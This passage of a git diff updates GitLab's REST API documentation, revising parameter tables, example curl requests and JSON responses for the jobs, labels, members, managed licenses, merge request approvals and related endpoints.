-to test the API directly from the GitLab user interface.
-Contributions are welcome.
-
## REST API
A REST API is available in GitLab.
@@ -19,6 +15,10 @@ Usage instructions are below.
For a list of the available resources and their endpoints, see
[REST API resources](api_resources.md).
+You can also use a partial [OpenAPI definition](openapi/openapi_interactive.md),
+to test the API directly from the GitLab user interface.
+Contributions are welcome.
+
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
For an introduction and basic steps, see
[How to make GitLab API calls](https://www.youtube.com/watch?v=0LsMC3ZiXkA).
@@ -43,11 +43,6 @@ There were some patenting and licensing concerns with GraphQL. However, these
have been resolved to our satisfaction. The reference implementations
were re-licensed under MIT, and the OWF license used for the GraphQL specification.
-When GraphQL is fully implemented, GitLab:
-
-- Can delete controller-specific endpoints.
-- Will no longer maintain two different APIs.
-
## Compatibility guidelines
The HTTP API is versioned with a single number, which is currently `4`. This number
@@ -214,7 +209,7 @@ Impersonation tokens are a type of [personal access token](../user/profile/perso
They can be created only by an administrator, and are used to authenticate with the
API as a specific user.
-Use impersonation tokens an alternative to:
+Use impersonation tokens as an alternative to:
- The user's password or one of their personal access tokens.
- The [Sudo](#sudo) feature. The user's or administrator's password or token
@@ -283,7 +278,7 @@ message with a status code of `403`:
```
If an access token without the `sudo` scope is provided, an error message is
-be returned with a status code of `403`:
+returned with a status code of `403`:
```json
{
diff --git a/doc/api/instance_clusters.md b/doc/api/instance_clusters.md
index 85046388275..f29ac5cd7f2 100644
--- a/doc/api/instance_clusters.md
+++ b/doc/api/instance_clusters.md
@@ -97,7 +97,6 @@ Example response:
...
}
]
-
```
## Get a single instance cluster
@@ -184,7 +183,6 @@ curl --header "Private-Token:<your_access_token>" "http://gitlab.example.com/api
-H "Accept:application/json" \
-H "Content-Type:application/json" \
-X POST --data '{"name":"cluster-3", "environment_scope":"production", "platform_kubernetes_attributes":{"api_url":"https://example.com", "token":"12345", "ca_cert":"-----BEGIN CERTIFICATE-----qpoeiXXZafCM0ZDJkZjM...-----END CERTIFICATE-----"}}'
-
```
Example response:
@@ -255,7 +253,6 @@ Example request:
curl --header "Private-Token: <your_access_token>" "http://gitlab.example.com/api/v4/admin/clusters/9" \
-H "Content-Type:application/json" \
-X PUT --data '{"name":"update-cluster-name", "platform_kubernetes_attributes":{"api_url":"https://new-example.com","token":"new-token"}}'
-
```
Example response:
@@ -290,7 +287,6 @@ Example response:
"management_project": null,
"project": null
}
-
```
## Delete instance cluster
diff --git a/doc/api/invitations.md b/doc/api/invitations.md
index 80a05f8ea0d..0bf9d106404 100644
--- a/doc/api/invitations.md
+++ b/doc/api/invitations.md
@@ -42,9 +42,8 @@ POST /projects/:id/invitations
| `access_level` | integer | yes | A valid access level |
| `expires_at` | string | no | A date string in the format YEAR-MONTH-DAY |
| `invite_source` | string | no | The source of the invitation that starts the member creation process. See [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/327120). |
-| `areas_of_focus` | string | no | Areas the inviter wants the member to focus upon. |
-| `tasks_to_be_done` | array of strings | no | Tasks the inviter wants the member to focus on. The tasks are added as issues to a specified project. The possible values are: `ci`, `code` and `issues`. If specified, requires `tasks_project_id`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/69299) in GitLab 14.5 [with a flag](../administration/feature_flags.md) named `invite_members_for_task`. Disabled by default. |
-| `tasks_project_id` | integer | no | The project ID in which to create the task issues. If specified, requires `tasks_to_be_done`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/69299) in GitLab 14.5 [with a flag](../administration/feature_flags.md) named `invite_members_for_task`. Disabled by default. |
+| `tasks_to_be_done` | array of strings | no | Tasks the inviter wants the member to focus on. The tasks are added as issues to a specified project. The possible values are: `ci`, `code` and `issues`. If specified, requires `tasks_project_id`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/69299) in GitLab 14.6 |
+| `tasks_project_id` | integer | no | The project ID in which to create the task issues. If specified, requires `tasks_to_be_done`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/69299) in GitLab 14.6 |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
diff --git a/doc/api/issues_statistics.md b/doc/api/issues_statistics.md
index a760424f6a2..11f24d94763 100644
--- a/doc/api/issues_statistics.md
+++ b/doc/api/issues_statistics.md
@@ -49,7 +49,7 @@ GET /issues_statistics?confidential=true
| `created_before` | datetime | no | Return issues created on or before the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) |
| `updated_after` | datetime | no | Return issues updated on or after the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) |
| `updated_before` | datetime | no | Return issues updated on or before the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) |
-| `confidential` | boolean | no | Filter confidential or public issues. |
+| `confidential` | boolean | no | Filter confidential or public issues. |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/issues_statistics"
@@ -105,7 +105,7 @@ GET /groups/:id/issues_statistics?confidential=true
| `created_before` | datetime | no | Return issues created on or before the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) |
| `updated_after` | datetime | no | Return issues updated on or after the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) |
| `updated_before` | datetime | no | Return issues updated on or before the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) |
-| `confidential` | boolean | no | Filter confidential or public issues. |
+| `confidential` | boolean | no | Filter confidential or public issues. |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/4/issues_statistics"
@@ -161,7 +161,7 @@ GET /projects/:id/issues_statistics?confidential=true
| `created_before` | datetime | no | Return issues created on or before the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) |
| `updated_after` | datetime | no | Return issues updated on or after the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) |
| `updated_before` | datetime | no | Return issues updated on or before the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) |
-| `confidential` | boolean | no | Filter confidential or public issues. |
+| `confidential` | boolean | no | Filter confidential or public issues. |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/4/issues_statistics"
diff --git a/doc/api/job_artifacts.md b/doc/api/job_artifacts.md
index 6d8c256d5aa..7c7847bf368 100644
--- a/doc/api/job_artifacts.md
+++ b/doc/api/job_artifacts.md
@@ -252,6 +252,7 @@ Example response:
"finished_at": "2016-01-11T10:15:10.506Z",
"duration": 97.0,
"status": "failed",
+ "failure_reason": "script_failure",
"tag": false,
"web_url": "https://example.com/foo/bar/-/jobs/42",
"user": null
diff --git a/doc/api/jobs.md b/doc/api/jobs.md
index 2a07e2d92c5..8dcd898b8c3 100644
--- a/doc/api/jobs.md
+++ b/doc/api/jobs.md
@@ -71,6 +71,7 @@ Example of response
"runner": null,
"stage": "test",
"status": "failed",
+ "failure_reason": "script_failure",
"tag": false,
"web_url": "https://example.com/foo/bar/-/jobs/7",
"user": {
@@ -126,6 +127,7 @@ Example of response
"runner": null,
"stage": "test",
"status": "failed",
+ "failure_reason": "stuck_or_timeout_failure",
"tag": false,
"web_url": "https://example.com/foo/bar/-/jobs/6",
"user": {
@@ -207,6 +209,7 @@ Example of response
"runner": null,
"stage": "test",
"status": "failed",
+ "failure_reason": "stuck_or_timeout_failure",
"tag": false,
"web_url": "https://example.com/foo/bar/-/jobs/6",
"user": {
@@ -271,6 +274,7 @@ Example of response
"runner": null,
"stage": "test",
"status": "failed",
+ "failure_reason": "script_failure",
"tag": false,
"web_url": "https://example.com/foo/bar/-/jobs/7",
"user": {
@@ -443,6 +447,7 @@ Example of response
"runner": null,
"stage": "test",
"status": "failed",
+ "failure_reason": "script_failure",
"tag": false,
"web_url": "https://example.com/foo/bar/-/jobs/8",
"user": {
@@ -465,12 +470,12 @@ Example of response
}
```
-## Get Kubernetes Agents by `CI_JOB_TOKEN` **(PREMIUM)**
+## Get GitLab Agent by `CI_JOB_TOKEN` **(PREMIUM)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/324269) in GitLab 13.11.
-Retrieve the job that generated the `CI_JOB_TOKEN`, along with a list of allowed GitLab
-Kubernetes Agents.
+Retrieve the job that generated the `CI_JOB_TOKEN`, along with a list of allowed
+[agents](../user/clusters/agent/index.md).
```plaintext
GET /job/allowed_agents
@@ -801,6 +806,10 @@ Example of response
}
```
+NOTE:
+You can't delete archived jobs with the API, but you can
+[delete job artifacts and logs from jobs completed before a specific date](../administration/job_artifacts.md#delete-job-artifacts-and-logs-from-jobs-completed-before-a-specific-date)
+
## Play a job
Triggers a manual action to start a job.
diff --git a/doc/api/labels.md b/doc/api/labels.md
index a8cb56f1573..5de227c8e1f 100644
--- a/doc/api/labels.md
+++ b/doc/api/labels.md
@@ -119,7 +119,7 @@ GET /projects/:id/labels/:label_id
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | --------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `label_id` | integer or string | yes | The ID or title of a project's label. |
| `include_ancestor_groups` | boolean | no | Include ancestor groups. Defaults to `true`. |
@@ -195,7 +195,7 @@ DELETE /projects/:id/labels/:label_id
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | --------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `label_id` | integer or string | yes | The ID or title of a group's label. |
```shell
@@ -216,7 +216,7 @@ PUT /projects/:id/labels/:label_id
| Attribute | Type | Required | Description |
| --------------- | ------- | --------------------------------- | ------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `label_id` | integer or string | yes | The ID or title of a group's label. |
| `new_name` | string | yes if `color` is not provided | The new name of the label |
| `color` | string | yes if `new_name` is not provided | The color of the label given in 6-digit hex notation with leading '#' sign (for example, #FFAABB) or one of the [CSS color names](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#Color_keywords) |
@@ -265,7 +265,7 @@ PUT /projects/:id/labels/:label_id/promote
| Attribute | Type | Required | Description |
| --------------- | ------- | --------------------------------- | ------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `label_id` | integer or string | yes | The ID or title of a group's label. |
```shell
@@ -303,7 +303,7 @@ POST /projects/:id/labels/:label_id/subscribe
| Attribute | Type | Required | Description |
| ---------- | ----------------- | -------- | ------------------------------------ |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `label_id` | integer or string | yes | The ID or title of a project's label |
```shell
@@ -341,7 +341,7 @@ POST /projects/:id/labels/:label_id/unsubscribe
| Attribute | Type | Required | Description |
| ---------- | ----------------- | -------- | ------------------------------------ |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `label_id` | integer or string | yes | The ID or title of a project's label |
```shell
diff --git a/doc/api/managed_licenses.md b/doc/api/managed_licenses.md
index 3967fe52a03..f2626574bf0 100644
--- a/doc/api/managed_licenses.md
+++ b/doc/api/managed_licenses.md
@@ -6,6 +6,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Managed Licenses API **(ULTIMATE)**
+WARNING:
+"approval" and "blacklisted" approval statuses are deprecated and scheduled to be changed to "allowed" and "denied" in GitLab 15.0.
+
## List managed licenses
Get all managed licenses for a given project.
@@ -78,10 +81,10 @@ POST /projects/:id/managed_licenses
| ------------- | ------- | -------- | ---------------------------- |
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | yes | The name of the managed license |
-| `approval_status` | string | yes | The approval status. "approved" or "blacklisted" |
+| `approval_status` | string | yes | The approval status of the license. "allowed" or "denied". "blacklisted" and "approved" are deprecated. |
```shell
-curl --data "name=MIT&approval_status=blacklisted" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/managed_licenses"
+curl --data "name=MIT&approval_status=denied" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/managed_licenses"
```
Example response:
@@ -125,10 +128,10 @@ PATCH /projects/:id/managed_licenses/:managed_license_id
| --------------- | ------- | --------------------------------- | ------------------------------- |
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `managed_license_id` | integer/string | yes | The ID or URL-encoded name of the license belonging to the project |
-| `approval_status` | string | yes | The approval status. "approved" or "blacklisted" |
+| `approval_status` | string | yes | The approval status of the license. "allowed" or "denied". "blacklisted" and "approved" are deprecated. |
```shell
-curl --request PATCH --data "approval_status=blacklisted" \
+curl --request PATCH --data "approval_status=denied" \
--header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/managed_licenses/6"
```
diff --git a/doc/api/members.md b/doc/api/members.md
index ce276487f21..bc476980d2d 100644
--- a/doc/api/members.md
+++ b/doc/api/members.md
@@ -65,7 +65,8 @@ Example response:
"web_url": "http://192.168.1.8:3000/root",
"expires_at": "2012-10-22T14:13:35Z",
"access_level": 30,
- "group_saml_identity": null
+ "group_saml_identity": null,
+ "membership_state": "active"
},
{
"id": 2,
@@ -81,7 +82,8 @@ Example response:
"extern_uid":"ABC-1234567890",
"provider": "group_saml",
"saml_provider_id": 10
- }
+ },
+ "membership_state": "active"
}
]
```
@@ -107,6 +109,7 @@ GET /projects/:id/members/all
| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `query` | string | no | A query string to search for members |
| `user_ids` | array of integers | no | Filter the results on the given user IDs |
+| `state` | string | no | Filter results by member state, one of `awaiting`, `active` or `created` **(PREMIUM)** |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/:id/members/all"
@@ -126,7 +129,8 @@ Example response:
"web_url": "http://192.168.1.8:3000/root",
"expires_at": "2012-10-22T14:13:35Z",
"access_level": 30,
- "group_saml_identity": null
+ "group_saml_identity": null,
+ "membership_state": "active"
},
{
"id": 2,
@@ -142,7 +146,8 @@ Example response:
"extern_uid":"ABC-1234567890",
"provider": "group_saml",
"saml_provider_id": 10
- }
+ },
+ "membership_state": "active"
},
{
"id": 3,
@@ -153,7 +158,8 @@ Example response:
"web_url": "http://192.168.1.8:3000/root",
"expires_at": "2012-11-22T14:13:35Z",
"access_level": 30,
- "group_saml_identity": null
+ "group_saml_identity": null,
+ "membership_state": "active"
}
]
```
@@ -191,7 +197,8 @@ Example response:
"email": "john@example.com",
"created_at": "2012-10-22T14:13:35Z",
"expires_at": null,
- "group_saml_identity": null
+ "group_saml_identity": null,
+ "membership_state": "active"
}
```
@@ -229,7 +236,8 @@ Example response:
"access_level": 30,
"email": "john@example.com",
"expires_at": null,
- "group_saml_identity": null
+ "group_saml_identity": null,
+ "membership_state": "active"
}
```
@@ -421,7 +429,6 @@ POST /projects/:id/members
| `access_level` | integer | yes | A valid access level |
| `expires_at` | string | no | A date string in the format `YEAR-MONTH-DAY` |
| `invite_source` | string | no | The source of the invitation that starts the member creation process. See [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/327120). |
-| `areas_of_focus` | string | no | Areas the inviter wants the member to focus upon. |
| `tasks_to_be_done` | array of strings | no | Tasks the inviter wants the member to focus on. The tasks are added as issues to a specified project. The possible values are: `ci`, `code` and `issues`. If specified, requires `tasks_project_id`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/69299) in GitLab 14.5 [with a flag](../administration/feature_flags.md) named `invite_members_for_task`. Disabled by default. |
| `tasks_project_id` | integer | no | The project ID in which to create the task issues. If specified, requires `tasks_to_be_done`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/69299) in GitLab 14.5 [with a flag](../administration/feature_flags.md) named `invite_members_for_task`. Disabled by default. |
@@ -589,26 +596,26 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git
curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/:id/members/:user_id"
```
-## Approve a member for a group
+## Approve a member for a group
-Approves a pending user for a group and its subgroups and projects.
+Approves a pending user for a group and its subgroups and projects.
```plaintext
-PUT /groups/:id/members/:user_id/approve
+PUT /groups/:id/members/:member_id/approve
```
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
| `id` | integer/string | yes | The ID or [URL-encoded path of the root group](index.md#namespaced-path-encoding) owned by the authenticated user |
-| `user_id` | integer | yes | The user ID of the member |
+| `member_id` | integer | yes | The ID of the member |
Example request:
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/:id/members/:user_id/approve"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/:id/members/:member_id/approve"
```
-## Approve all pending members for a group
+## Approve all pending members for a group
Approves all pending users for a group and its subgroups and projects.
@@ -626,6 +633,65 @@ Example request:
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/:id/members/approve_all"
```
+## List pending members of a group and its subgroups and projects
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/332596) in GitLab 14.6.
+
+For a group and its subgroups and projects, get a list of all members in an `awaiting` state and those who are invited but do not have a GitLab account.
+
+This request returns all matching group and project members from all groups and projects in the root group's hierarchy.
+
+When the member is an invited user that has not signed up for a GitLab account yet, the invited email address is returned.
+
+This API endpoint works on top-level groups only. It does not work on subgroups.
+
+This API endpoint requires permission to administer members for the group.
+
+This API endpoint takes [pagination](index.md#pagination) parameters `page` and `per_page` to restrict the list of members.
+
+```plaintext
+GET /groups/:id/pending_members
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
+
+```shell
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/:id/pending_members"
+```
+
+Example response:
+
+```json
+[
+ {
+ "id": 168,
+ "name": "Alex Garcia",
+ "username": "alex_garcia",
+ "email": "alex@example.com",
+ "avatar_url": "http://example.com/uploads/user/avatar/1/cd8.jpeg",
+ "web_url": "http://example.com/alex_garcia",
+ "approved": false,
+ "invited": false
+ },
+ {
+ "id": 169,
+ "email": "sidney@example.com",
+ "avatar_url": "http://gravatar.com/../e346561cd8.jpeg",
+ "approved": false,
+ "invited": true
+ },
+ {
+ "id": 170,
+ "email": "zhang@example.com",
+ "avatar_url": "http://gravatar.com/../e32131cd8.jpeg",
+ "approved": true,
+ "invited": true
+ }
+]
+```
+
## Give a group access to a project
See [share project with group](projects.md#share-project-with-group)
diff --git a/doc/api/merge_request_approvals.md b/doc/api/merge_request_approvals.md
index 4ede95ea189..b6021d494fd 100644
--- a/doc/api/merge_request_approvals.md
+++ b/doc/api/merge_request_approvals.md
@@ -294,7 +294,12 @@ POST /projects/:id/approval_rules
| `rule_type` | string | no | The type of rule. `any_approver` is a pre-configured default rule with `approvals_required` at `0`. Other rules are `regular`.
| `user_ids` | Array | no | The ids of users as approvers |
| `group_ids` | Array | no | The ids of groups as approvers |
-| `protected_branch_ids` | Array | no | **(PREMIUM)** The ids of protected branches to scope the rule by. To identify the ID, [use the API](protected_branches.md#list-protected-branches). |
+| `protected_branch_ids` | Array | no | The IDs of protected branches to scope the rule by. To identify the ID, [use the API](protected_branches.md#list-protected-branches). |
+| `report_type` | string | no | The report type required when the rule type is `report_approver`. The supported report types are: `vulnerability`, `license_scanning`, `code_coverage`. |
+| `scanners` | Array | no | The security scanners the `Vulnerability-Check` approval rule considers. The supported scanners are: `sast`, `secret_detection`, `dependency_scanning`, `container_scanning`, `dast`, `coverage_fuzzing`, `api_fuzzing`. Defaults to all supported scanners. |
+| `severity_levels` | Array | no | The severity levels the `Vulnerability-Check` approval rule considers. The supported severity levels are: `info`, `unknown`, `low`, `medium`, `high`, `critical`. Defaults to `unknown`, `high`, and `critical`. |
+| `vulnerabilities_allowed` | integer | no | The number of vulnerabilities allowed for the `Vulnerability-Check` approval rule. Defaults to `0`. |
+| `vulnerability_states` | Array | no | The vulnerability states the `Vulnerability-Check` approval rule considers. The supported vulnerability states are: `newly_detected` (default), `detected`, `confirmed`, `resolved`, `dismissed`. |
```json
{
@@ -417,7 +422,11 @@ PUT /projects/:id/approval_rules/:approval_rule_id
| `approvals_required` | integer | yes | The number of required approvals for this rule |
| `user_ids` | Array | no | The ids of users as approvers |
| `group_ids` | Array | no | The ids of groups as approvers |
-| `protected_branch_ids` | Array | no | **(PREMIUM)** The ids of protected branches to scope the rule by. To identify the ID, [use the API](protected_branches.md#list-protected-branches). |
+| `protected_branch_ids` | Array | no | The IDs of protected branches to scope the rule by. To identify the ID, [use the API](protected_branches.md#list-protected-branches). |
+| `scanners` | Array | no | The security scanners the `Vulnerability-Check` approval rule considers. The supported scanners are: `sast`, `secret_detection`, `dependency_scanning`, `container_scanning`, `dast`, `coverage_fuzzing`, `api_fuzzing`. Defaults to all supported scanners. |
+| `severity_levels` | Array | no | The severity levels the `Vulnerability-Check` approval rule considers. The supported severity levels are: `info`, `unknown`, `low`, `medium`, `high`, `critical`. Defaults to `unknown`, `high`, and `critical`. |
+| `vulnerabilities_allowed` | integer | no | The number of vulnerabilities allowed for the `Vulnerability-Check` approval rule. Defaults to `0`. |
+| `vulnerability_states` | Array | no | The vulnerability states the `Vulnerability-Check` approval rule considers. The supported vulnerability states are: `newly_detected` (default), `detected`, `confirmed`, `resolved`, `dismissed`. |
```json
{
diff --git a/doc/api/merge_request_context_commits.md b/doc/api/merge_request_context_commits.md
index b40d67ab4e3..9984c5abb70 100644
--- a/doc/api/merge_request_context_commits.md
+++ b/doc/api/merge_request_context_commits.md
@@ -17,8 +17,10 @@ GET /projects/:id/merge_requests/:merge_request_iid/context_commits
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
-- `merge_request_iid` (required) - The internal ID of the merge request
+| Attribute | Type | Required | Description |
+|---------------------|---------|----------|-----------------------------------------------------------------------------------------------------------------|
+| `id` | integer | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `merge_request_iid` | integer | yes | The internal ID of the merge request |
```json
[
@@ -49,8 +51,10 @@ POST /projects/:id/merge_requests/:merge_request_iid/context_commits
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
-- `merge_request_iid` (required) - The internal ID of the merge request
+| Attribute | Type | Required | Description |
+|---------------------|---------|----------|-----------------------------------------------------------------------------------------------------------------|
+| `id` | integer | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `merge_request_iid` | integer | yes | The internal ID of the merge request |
```plaintext
POST /projects/:id/merge_requests/
@@ -88,9 +92,8 @@ DELETE /projects/:id/merge_requests/:merge_request_iid/context_commits
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
-- `merge_request_iid` (required) - The internal ID of the merge request
-
-| Attribute | Type | Required | Description |
-| --------- | ---- | -------- | ----------- |
-| `commits` | string array | yes | The context commits' SHA |
+| Attribute | Type | Required | Description |
+|---------------------|--------------|----------|-----------------------------------------------------------------------------------------------------------------|
+| `id` | integer | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `merge_request_iid` | integer | yes | The internal ID of the merge request |
+| `commits` | string array | yes | The context commits' SHA |
diff --git a/doc/api/merge_requests.md b/doc/api/merge_requests.md
index 98af228a064..fa713558684 100644
--- a/doc/api/merge_requests.md
+++ b/doc/api/merge_requests.md
@@ -1,15 +1,11 @@
---
stage: Create
group: Code Review
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
-type: reference, api
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Merge requests API **(FREE)**
-> - `author_id`, `author_username`, and `assignee_id` were [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13060) in GitLab 9.5.
-> - `my_reaction_emoji` was [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/14016) in GitLab 10.0.
-> - For the `scope` attribute, `created-by-me` and `assigned-to-me` were [deprecated](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18935) in favor of `created_by_me` and `assigned_to_me` in GitLab 11.0.
> - `with_labels_details` was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21413) in GitLab 12.7.
> - `author_username` and `author_username` were [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13060) in GitLab 12.10.
> - `reference` was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20354) in GitLab 12.10 in favour of `references`.
@@ -52,8 +48,6 @@ still apply.
## List merge requests
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13060) in GitLab 9.5.
-
Get all merge requests the authenticated user has access to. By
default it returns only merge requests created by the current user. To
get all merge requests, use parameter `scope=all`.
@@ -85,7 +79,7 @@ Parameters:
| `sort` | string | no | Return requests sorted in `asc` or `desc` order. Default is `desc`. |
| `milestone` | string | no | Return merge requests for a specific milestone. `None` returns merge requests with no milestone. `Any` returns merge requests that have an assigned milestone. |
| `view` | string | no | If `simple`, returns the `iid`, URL, title, description, and basic state of merge request. |
-| `labels` | string | no | Return merge requests matching a comma separated list of labels. `None` lists all merge requests with no labels. `Any` lists all merge requests with at least one label. `No+Label` (Deprecated) lists all merge requests with no labels. Predefined names are case-insensitive. |
+| `labels` | string | no | Return merge requests matching a comma-separated list of labels. `None` lists all merge requests with no labels. `Any` lists all merge requests with at least one label. `No+Label` (Deprecated) lists all merge requests with no labels. Predefined names are case-insensitive. |
| `with_labels_details` | boolean | no | If `true`, response returns more details for each label in labels field: `:name`, `:color`, `:description`, `:description_html`, `:text_color`. Default is `false`. |
| `with_merge_status_recheck` | boolean | no | If `true`, this projection requests (but does not guarantee) that the `merge_status` field be recalculated asynchronously. Default is `false`. |
| `created_after` | datetime | no | Return merge requests created on or after the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) |
@@ -272,7 +266,7 @@ Parameters:
| `sort` | string | no | Return requests sorted in `asc` or `desc` order. Default is `desc`. |
| `milestone` | string | no | Return merge requests for a specific milestone. `None` returns merge requests with no milestone. `Any` returns merge requests that have an assigned milestone. |
| `view` | string | no | If `simple`, returns the `iid`, URL, title, description, and basic state of merge request. |
-| `labels` | string | no | Return merge requests matching a comma separated list of labels. `None` lists all merge requests with no labels. `Any` lists all merge requests with at least one label. `No+Label` (Deprecated) lists all merge requests with no labels. Predefined names are case-insensitive. |
+| `labels` | string | no | Return merge requests matching a comma-separated list of labels. `None` lists all merge requests with no labels. `Any` lists all merge requests with at least one label. `No+Label` (Deprecated) lists all merge requests with no labels. Predefined names are case-insensitive. |
| `with_labels_details` | boolean | no | If `true`, response returns more details for each label in labels field: `:name`, `:color`, `:description`, `:description_html`, `:text_color`. Default is `false`. |
| `with_merge_status_recheck` | boolean | no | If `true`, this projection requests (but does not guarantee) that the `merge_status` field be recalculated asynchronously. Default is `false`. |
| `created_after` | datetime | no | Return merge requests created on or after the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) |
@@ -459,7 +453,7 @@ Parameters:
| `sort` | string | no | Return merge requests sorted in `asc` or `desc` order. Default is `desc`. |
| `milestone` | string | no | Return merge requests for a specific milestone. `None` returns merge requests with no milestone. `Any` returns merge requests that have an assigned milestone. |
| `view` | string | no | If `simple`, returns the `iid`, URL, title, description, and basic state of merge request. |
-| `labels` | string | no | Return merge requests matching a comma separated list of labels. `None` lists all merge requests with no labels. `Any` lists all merge requests with at least one label. `No+Label` (Deprecated) lists all merge requests with no labels. Predefined names are case-insensitive. |
+| `labels` | string | no | Return merge requests matching a comma-separated list of labels. `None` lists all merge requests with no labels. `Any` lists all merge requests with at least one label. `No+Label` (Deprecated) lists all merge requests with no labels. Predefined names are case-insensitive. |
| `with_labels_details` | boolean | no | If `true`, response returns more details for each label in labels field: `:name`, `:color`, `:description`, `:description_html`, `:text_color`. Default is `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21413) in GitLab 12.7.|
| `with_merge_status_recheck` | boolean | no | If `true`, this projection requests (but does not guarantee) that the `merge_status` field be recalculated asynchronously. Default is `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31890) in GitLab 13.0. |
